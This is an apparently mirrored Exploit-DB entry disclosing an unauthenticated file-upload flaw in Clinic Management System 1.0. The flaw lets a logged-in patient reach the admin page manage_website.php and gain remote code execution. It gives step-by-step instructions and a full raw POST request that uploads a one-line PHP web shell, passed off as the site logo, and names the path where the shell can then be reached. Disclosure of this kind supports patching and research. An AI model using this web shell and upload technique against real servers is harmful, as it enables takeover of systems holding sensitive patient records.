Clinic Management System 1.0 – Unauthenticated Remote Code Execution

  • 作者: BKpatron
    日期: 2020-06-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48544/
  • # Exploit Title: Clinic Management System 1.0 - Unauthenticated Remote Code Execution
    # Google Dork: N/A
    # Date: 2020-06-02
    # Exploit Author: BKpatron
    # Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
    # Software Link:https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
    # Version: v1.0
    # Tested on: Win 10
    # CVE: N/A
    
    # Vulnerability:
    Clinic Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution
    (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file.
    # vulnerable file : manage_website.php
    # Details:
    login to website as patient then access the 'localhost/source%20code/manage_website.php' page, as it does not check for an admin user.
    change website logo and upload your malicious php file(<?php echo shell_exec($_GET["cmd"]); ?>). if you see this message "Something Went Wrong" You have successfully uploaded the malicious php file.
    path of your file: http://localhost/source%20code/uploadImage/Logo/your_file.php
    
    # Proof of Concept:
    http://localhost/source%20code/manage_website.php
    
    POST /source%20code/manage_website.php HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------135192786613366
    Content-Length: 2539
    Referer: http://localhost/source%20code/manage_website.php
    Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1
    Connection: keep-alive
    Upgrade-Insecure-Requests: 1
    -----------------------------58631544014332: undefined
    Content-Disposition: form-data; name="title"
    
    -----------------------------58631544014332
    Content-Disposition: form-data; name="short_title"
    
    
    -----------------------------58631544014332
    Content-Disposition: form-data; name="footer"
    
    
    -----------------------------58631544014332
    Content-Disposition: form-data; name="currency_code"
    
    
    -----------------------------58631544014332
    Content-Disposition: form-data; name="currency_symbol"
    
    
    -----------------------------58631544014332
    Content-Disposition: form-data; name="old_website_image"
    
    logo for hospital system.jpg
    -----------------------------58631544014332
    Content-Disposition: form-data; name="website_image"; filename="shell.php"
    Content-Type: application/octet-stream
    
    <?php echo shell_exec($_GET["cmd"]); ?>